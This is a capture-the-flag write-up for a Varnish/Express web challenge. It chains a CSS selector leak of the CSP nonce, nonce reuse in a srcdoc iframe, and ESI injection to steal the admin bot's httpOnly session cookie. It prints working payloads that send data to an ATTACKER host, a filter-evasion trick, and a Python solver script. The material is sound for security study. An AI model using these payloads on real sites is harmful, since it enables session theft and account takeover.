$ cat writeup.md…
$ cat writeup.md…
securinets2026
Task: Varnish-fronted Express app with a raw-bio dashboard, a nonce CSP and an ESI-processing /preview endpoint; the admin bot's cookie value is the flag. Solution: leak the per-request CSP nonce with a CSS attribute-selector chain, re-use it in a srcdoc iframe for same-origin JS, then inject ESI to read /fragments/session-info.
go fast. write stuff. go nyoom.
English summary: a three-service web app. A Varnish 7.1 edge (:8080) sits in front of a Node/Express app (:3000), and a Puppeteer bot (:3001) visits a user-supplied URL while holding a cookie session=<ADMIN_SESSION>. Crucially, sessions.set(FLAG, "admin") means the admin session cookie value is the flag itself. The goal is to make the bot leak its own cookie.
Bot cookie attributes (from bot/bot.js):
await page.setCookie({ name: "session", value: ADMIN_SESSION, domain: new URL(TARGET).hostname, // "edge" by default path: "/", httpOnly: true, sameSite: "lax", }); await page.goto(u.href, { waitUntil: "domcontentloaded", timeout: NAV_TIMEOUT });
So the bot only ever sends the cookie to the hostname of TARGET_URL (edge), and httpOnly blocks document.cookie — the cookie must be obtained server-side.
| Service | Tech | Notes |
|---|---|---|
| edge | Varnish 7.1, :8080 | front proxy, default.vcl |
| app | Express, :3000 | users, sessions, dashboard, ESI-processed /preview |
| bot | Puppeteer, :3001 | admin visit with session=FLAG cookie |
Relevant VCL (edge/default.vcl):
sub vcl_recv { if (req.url ~ "^/fragments/" && req.esi_level == 0) { return (synth(403, "Internal only")); } if (req.url ~ "^/preview") { return (pass); } if (req.http.Cookie || req.url !~ "^/assets/") { return (pass); } return (hash); } sub vcl_backend_response { if (bereq.url ~ "^/preview") { set beresp.do_esi = true; } // <-- ESI processing if (bereq.http.Cookie) { set beresp.uncacheable = true; set beresp.ttl = 0s; return (deliver); } set beresp.ttl = 300s; return (deliver); }
Two things stand out immediately:
GET /fragments/session-info is blocked only when esi_level == 0 — i.e. a plain client cannot fetch it, but an ESI subrequest can.POST /preview responses are marked do_esi = true, so Varnish parses attacker-controlled response bodies as ESI. That is the injection primitive.App-side relevant handlers (app/src/server.js):
app.post("/preview", (req, res) => { // reflects the body verbatim let t = String((req.body && req.body.template) || "").slice(0, 4000); res.set("Cache-Control", "private, no-store"); res.type("text/plain; charset=utf-8"); res.send(`<div class="preview">\n${t}\n</div>`); }); app.get("/fragments/session-info", (req, res) => { // echoes the caller's session id const sid = req.cookies.session || ""; const val = sid && sessions.has(sid) ? sid : "anonymous"; res.type("html").send(`<div class="session-info" data-session="${val .replace(/&/g,"&").replace(/"/g,""")}">Welcome back.</div>`); });
The dashboard renders the viewing user's bio raw and delivers its CSP with a per-request nonce in a <meta> tag:
const nonce = crypto.randomBytes(16).toString("hex"); // 32 hex chars ... <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-${nonce}'"> ... <div id="profile">${bioBody}</div> ... <script nonce="${nonce}"> function loadProfile() { fetch("/profile?u=...").then(r=>r.json()).then(p => { document.querySelector("#profile").innerHTML = p.bio; // second sink }); } loadProfile(); </script>
Bio escaping is intentionally weak — esc() only escapes backslash, backtick and $, so <, >, " pass through:
const esc = (s) => s.replace(/\\/g,"\\\\").replace(/`/g,"\\`").replace(/\$/g,"\\$"); const bioBody = esc(deEsi(rawBio.replace(/<meta[^>]*>/gi, "").trim()));
The only XSS guard is the nonce CSP plus deEsi(), which entities any literal <esi:...> in the bio:
function deEsi(s) { return String(s).replace(/<esi:([^>]*)>/gi, "<esi:$1>"); }
deEsi() is applied only on /dashboard, never on /preview.
POST /report forwards to the bot, rejecting hostnames app and bot and rewriting localhost/127.0.0.1 to edge:8080:
url = url.replace(/https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?/g, "http://edge:8080"); if (INTERNAL_HOSTS.has(u.hostname)) return res.status(400).json({ error: "url rejected" });
edge is not in the block list, and the bot resolves edge/host.docker.internal internally, so we can have the bot visit http://edge:8080/dashboard?u=<us> (correct cookie domain) while our own CSS/JS URLs point at a host the bot can reach.
/previewBecause POST /preview reflects template into the body and Varnish sets beresp.do_esi = true for ^/preview, any <esi:include> we put in template is executed by the edge. Since the request hits /preview at esi_level == 0, its subrequest to /fragments/session-info runs at esi_level == 1 and bypasses the 403 guard. ESI subrequests inherit the original request's headers, so the admin Cookie is sent to the fragment, which echoes it in data-session="...".
POST /preview HTTP/1.1 Content-Type: application/x-www-form-urlencoded template=<esi:include src="/fragments/session-info"/>
Result (as seen by the admin session):
<div class="preview"> <esi:include src="/fragments/session-info"/> </div> <!-- after ESI processing --> <div class="preview"> <div class="session-info" data-session="<FLAG>">Welcome back.</div> </div>
The remaining problem is getting a browser to issue this POST with the admin cookie and read the response.
A tempting shortcut is <esi:include src="http://attacker/session-info"/>. This does not work: Varnish resolves ESI include src against its configured backend (backend default { .host = "app"; .port = "3000"; }); the hostname is not connected to, so no request is made to us. ESI can therefore only reach the app itself — it can read the fragment but cannot carry it off-site.
Direct GET /fragments/session-info at esi_level == 0 is synth(403). URL tricks such as %2F or case variants do not help: Varnish's ^/fragments/ check is case-sensitive but the rewrite/decoding just produces a path Express does not route (%2F 404s in Express), so no unauthenticated read is possible.
The nonce is not in a JS variable — it is in the CSP <meta> content attribute:
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<32 hex>'">
CSS attribute selectors can read attribute values and are subject to no CSP by default, so a stylesheet can probe the nonce character by character using ^= (starts-with). The response head must first be made renderable (<meta>/<head> are display:none by default):
head { display:block } meta { display:block; width:200px; height:80px } meta[content^="script-src 'nonce-<prefix><c>"] { background-image:url("ATTACKER/hit?len=<len>&c=<c>") }
For each candidate character c (16 hex values), a background image is fetched only if the CSP meta content starts with the known prefix plus c. Because each rule references a distinct URL parameterized by c, exactly one request fires per position: that is the next hex digit.
The bio is allowed to contain arbitrary HTML (only \, `, $ are escaped and no <meta> tags — which are stripped — are needed), so we inject a chain of stylesheets:
<link rel="stylesheet" href="ATTACKER/leak.css?d=0"> <link rel="stylesheet" href="ATTACKER/leak.css?d=1"> ... up to d=33
Our server serves leak.css?d=k only after it already knows the first k characters (it blocks on a condition variable), and the CSS it returns contains rules that leak character k. Because all these stylesheet requests are in the <body> and still pending, they block DOMContentLoaded, which delays the dashboard's own loadProfile() until after the leak — the whole 32-char nonce is recovered in a single page load (~1 second).
srcdoc iframe (nonce reuse)Once loadProfile() runs, it assigns the bio to #profile.innerHTML — a second HTML injection sink that is not filtered for <meta> and that we can rewrite between the leak and the assignment. We rewrite the bio to:
<iframe srcdoc="<script nonce=<LEAKED>>...JS...</script>"></iframe>
srcdoc (and data:) iframes inherit the parent document's CSP, so the inline script still needs a valid nonce — which we now have. The iframe is same-origin (about:srcdoc), so the script can fetch() the app with the admin cookie.
deEsi bypassdeEsi() rewrites any literal <esi:...> in the bio. But the ESI tag is built inside our script (and sent to /preview, where deEsi() is not even applied). Even so, we never emit the literal substring <esi:; the tag is assembled at runtime:
var q = String.fromCharCode(34); var e = '<' + 'esi:include src=' + q + '/fragments/session-info' + q + '/>';
This defeats both the substring matcher and any static scanner.
Summary of the end-to-end chain:
POST /login).<link> chain into the bio, ask the bot to visit http://edge:8080/dashboard?u=<us>, and collect the 32-char nonce from our /hit callbacks.srcdoc iframe carrying the leaked nonce and the payload JS.loadProfile(), loads our iframe, our script POSTs an ESI include to /preview, and exfiltrates the resulting fragment response (containing data-session="<FLAG>") to our server.Leaking stylesheet served by the attacker (/leak.css?d=<k>), generated per position:
head { display:block } meta { display:block; width:200px; height:80px } meta[content^="script-src 'nonce-<prefix>0"]{background-image:url("ATTACKER/hit?len=<n>&c=0")} meta[content^="script-src 'nonce-<prefix>1"]{background-image:url("ATTACKER/hit?len=<n>&c=1")} /* ... through f ... */
Bio payload A:
<link rel="stylesheet" href="ATTACKER/leak.css?d=0"> <link rel="stylesheet" href="ATTACKER/leak.css?d=1"> <!-- ... --> <link rel="stylesheet" href="ATTACKER/leak.css?d=33">
Bio payload B (after the nonce N is known):
<iframe srcdoc="<script nonce=N> var q=String.fromCharCode(34); var e='<' + 'esi:include src=' + q + '/fragments/session-info' + q + '/>'; fetch('/preview',{method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'template='+encodeURIComponent(e)}) .then(function(r){return r.text()}) .then(function(t){fetch('ATTACKER/flag?d='+encodeURIComponent(t))}); </script>"></iframe>
Report the bot at the correct host so the admin cookie is sent (edge is not blocked by /report):
POST /report {"url": "http://edge:8080/dashboard?u=<us>"}
The solver is a single self-contained Python script that (a) runs an attacker HTTP server and (b) drives the app. Key parts are reproduced below.
import http.server as htsrv, urllib.parse STATE = {"prefix": "", "flag": None, "lock": threading.Condition()} class LeakHandler(htsrv.BaseHTTPRequestHandler): attacker = "" def _css(self, prefix): rules = ["head { display:block }", "meta { display:block; width:200px; height:80px }"] for c in "0123456789abcdef": rules.append( 'meta[content^="script-src \'nonce-%s%s"]' '{background-image:url("%s/hit?len=%d&c=%s")}' % (prefix, c, self.attacker, len(prefix), c)) return "\n".join(rules) def do_GET(self): u = urllib.parse.urlparse(self.path); q = urllib.parse.parse_qs(u.query) if u.path.endswith("/hit"): # a nonce character was matched ln = q.get("len", ["-1"])[0]; c = q.get("c", [""])[0] with STATE["lock"]: if ln.isdigit() and int(ln) == len(STATE["prefix"]) and c in "0123456789abcdef": STATE["prefix"] += c STATE["lock"].notify_all() return self._send("ok") if u.path.endswith("/leak.css"): # hold until char k is known base = None; d = q.get("d", [None])[0] if d is not None and d.isdigit(): k = int(d) with STATE["lock"]: STATE["lock"].wait_for(lambda: len(STATE["prefix"]) >= k, timeout=3) base = STATE["prefix"][:k] return self._send(self._css(base if base is not None else STATE["prefix"]), "text/css") if u.path.endswith("/flag"): # final exfiltration target STATE["flag"] = q.get("d", [""])[0] return self._send("ok") return self._send("<html>ok</html>")
# 1) register/login -> session cookie st, body, hdrs = http("POST", target + "/login", json.dumps({"username": user, "password": password}), "application/json") cookie = "session=" + re.search(r"session=([a-f0-9]+)", hdrs.get("Set-Cookie", "")).group(1) # 2) stage A: inject the leak chain and make the bot load it links = "".join('<link rel="stylesheet" href="%s/leak.css?d=%d">' % (attacker, k) for k in range(34)) http("POST", target + "/profile", json.dumps({"bio": links}), "application/json", cookie=cookie) http("POST", target + "/report", json.dumps({"url": "http://edge:8080/dashboard?u=%s" % user}), "application/json") # wait for STATE["prefix"] to reach 32 hex chars, then: nonce = STATE["prefix"] # 3) stage B: rewrite the bio with a srcdoc iframe using the leaked nonce js = ("var q=String.fromCharCode(34);" "var e='<' + 'esi:include src=' + q + '/fragments/session-info' + q + '/>';" "fetch('/preview',{method:'POST'," "headers:{'Content-Type':'application/x-www-form-urlencoded'}," "body:'template='+encodeURIComponent(e)})" ".then(function(r){return r.text()})" ".then(function(t){fetch('%s/flag?d='+encodeURIComponent(t))});" % attacker) bioB = '<iframe srcdoc="<script nonce=%s>%s</script>"></iframe>' % (nonce, js) http("POST", target + "/profile", json.dumps({"bio": bioB}), "application/json", cookie=cookie) # 4) read the exfiltrated fragment and pull the session id out of data-session= flag = re.search(r'data-session="([^"]*)"', urllib.parse.unquote(STATE["flag"])).group(1)
python3 solve.py \ --target http://127.0.0.1:8080 \ --attacker http://host.docker.internal:9000 \ --user attacker --password p
--target — how you reach the edge (e.g. http://127.0.0.1:8080).--attacker — how the bot reaches your HTTP server (host.docker.internal in the supplied compose; a public URL/ngrok for a remote deploy).--report-url — URL the bot visits; default http://edge:8080/dashboard?u=<user>. The hostname must be the one the admin cookie is scoped to (edge by default, or the public host on a remote instance) and the ?u= must be the account whose bio you control.Expected final output: the recovered admin session id, which equals the flag. Note: the flag value is deliberately not stored in this writeup.
<esi:include src="http://attacker/..."> does not exfiltrate. Varnish resolves the ESI src against its configured backend default (host app); the host portion is ignored and no outbound connection to the attacker is made.%2F / case bypass of the /fragments/ guard does not route in Express. Direct unauthenticated fragment reads stay blocked; ESI (via /preview, esi_level >= 1) is the only working path.<link> stylesheets in the body block page load, delaying loadProfile() until after the leak; the pageshow/bfcache path is a bonus, not the mechanism.Use this approach when:
beresp.do_esi for a path whose response body reflects user input, and a sensitive endpoint is guarded only by esi_level/internal-origin checks.<meta> or attribute value that CSS attribute selectors (^=) can oracle, and the page allows attacker-controlled <link rel="stylesheet"> or inline styles.innerHTML = ...) re-injects stored content after page initialization — enabling srcdoc/data: iframe nonce reuse.<esi:) that can be reconstructed at runtime with string concatenation.document.cookie.Sources are angle-bracket placeholders (ATTACKER, <prefix>, <FLAG>) so the writeup stays flag-free; substitute your own host when re-running.
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar